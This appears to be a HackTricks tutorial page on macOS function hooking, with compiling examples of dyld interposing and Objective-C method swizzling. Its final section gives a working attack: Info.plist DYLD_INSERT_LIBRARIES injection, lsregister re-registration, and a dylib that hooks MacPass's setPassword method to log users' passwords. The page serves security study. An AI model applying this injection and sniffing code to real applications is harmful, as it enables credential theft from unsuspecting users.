# macOS Function Hooking
{% hint style="success" %}
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{% endhint %}
## Function Interposing
Create a **dylib** with an **`__interpose` (`__DATA___interpose`)** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions.
Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](macos-library-injection/#check-restrictions).
### Interpose printf
{% tabs %}
{% tab title="interpose.c" %}
{% code title="interpose.c" overflow="wrap" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include
#include
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{% endcode %}
{% endtab %}
{% tab title="hello.c" %}
```c
//gcc hello.c -o hello
#include
int main() {
printf("Hello World!\n");
return 0;
}
```
{% endtab %}
{% tab title="interpose2.c" %}
{% code overflow="wrap" %}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{% endcode %}
{% endtab %}
{% endtabs %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
{% hint style="warning" %}
The **`DYLD_PRINT_INTERPOSTING`** env variable can be used to debug interposing and will print the interpose process.
{% endhint %}
Also note that **interposing occurs between the process and the loaded libraries**, it doesn't work with the shared library cache.
### Dynamic Interposing
Now it's also possible to interpose a function dynamically using the function **`dyld_dynamic_interpose`**. This allows to programatically interpose a function in run time instead of doing it only from the begining.
It's just needed to indicate the **tuples** of the **function to replace and the replacement** function.
```c
struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);
```
## Method Swizzling
In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**.
Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**.
{% hint style="danger" %}
Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov ` or [`class-dump `](https://github.com/nygard/class-dump)
{% endhint %}
### Accessing the raw methods
It's possible to access the information of the methods such as name, number of params or address like in the following example:
{% code overflow="wrap" %}
```objectivec
// gcc -framework Foundation test.m -o test
#import
#import
#import
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
{% endcode %}
### Method Swizzling with method\_exchangeImplementations
The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**.
{% hint style="danger" %}
So when a function is called what is **executed is the other one**.
{% endhint %}
{% code overflow="wrap" %}
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import
#import
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
```
{% endcode %}
{% hint style="warning" %}
In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running.
The following technique doesn't have this restriction.
{% endhint %}
### Method Swizzling with method\_setImplementation
The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**.
Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address.
{% code overflow="wrap" %}
```objectivec
#import
#import
#import
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
```
{% endcode %}
## Hooking Attack Methodology
In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**.
In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations.
However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass.
So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like:
```xml
LSEnvironment
DYLD_INSERT_LIBRARIES
/Applications/Application.app/Contents/malicious.dylib
```
and then **re-register** the application:
{% code overflow="wrap" %}
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
{% endcode %}
Add in that library the hooking code to exfiltrate the information: Passwords, messages...
{% hint style="danger" %}
Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore.
{% endhint %}
#### Library example
{% code overflow="wrap" %}
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include
#import
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
{% endcode %}
## References
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
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Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}